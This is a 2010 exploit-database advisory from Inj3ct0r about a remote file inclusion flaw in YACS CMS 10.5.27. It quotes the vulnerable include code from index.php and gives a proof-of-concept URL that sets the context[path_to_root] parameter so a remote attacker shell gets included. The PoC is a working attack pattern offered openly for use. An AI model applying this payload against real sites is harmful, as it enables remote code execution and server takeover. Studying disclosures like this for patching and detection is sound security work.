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YACK CMS 10.5.27 Remote File Inclusion Vulnerability

Posted on 17 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>YACK CMS 10.5.27 Remote File Inclusion Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
YACK CMS 10.5.27 Remote File Inclusion Vulnerability
====================================================


 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0     _                   __           __       __                     1
 1   /'             __  /'__`        / \__  /'__`                   0
 0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
 1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
 0       / /    /   / \__/  \_  \_   /           1
 1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
 0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
 1                   \____/ &gt;&gt; Exploit database separated by exploit   0
 0                   /___/          type (local, remote, DoS, etc.)    1
 1                                                                      1
 0  [+] Site            : Inj3ct0r.com                                  0
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
 0                                                                      0
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Vendor:     http://www.yacs.fr
download:   http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz
Author:     eidelweiss
Contact:    g1xsystem[at]windowslive.com
 
=====================================================================
 
    -=[ vuln c0de ]=-
 
[!] index.php
 
// load global definitions
if($home = getenv('YACS_HOME'))
    include_once str_replace('//', '/', $home.'/').'shared/global.php'; // &lt;= 0
elseif(is_readable('yacs.home') &amp;&amp; is_callable('file_get_contents') &amp;&amp; ($content = trim(file_get_contents('yacs.home'), &quot; 	

x0B\/.&quot;)) &amp;&amp; is_readable($content.'/shared/global.php'))
    include_once $content.'/shared/global.php'; // &lt;= 1
elseif(is_readable('shared/global.php'))
    include_once 'shared/global.php';
elseif(is_readable('yacs/shared/global.php'))
    include_once 'yacs/shared/global.php';
else
    exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file yacs.home or configure the YACS_HOME environment variable.');
 
// load libraries used in this script
include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds
include_once $context['path_to_root'].'links/links.php';    //  &lt;= 2 (i dont give fuck)
 
 
=====================================================================
 
    -=[ P0C ]=-
 
    http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell]
 
    etc , etc , etc
 
=====================================================================


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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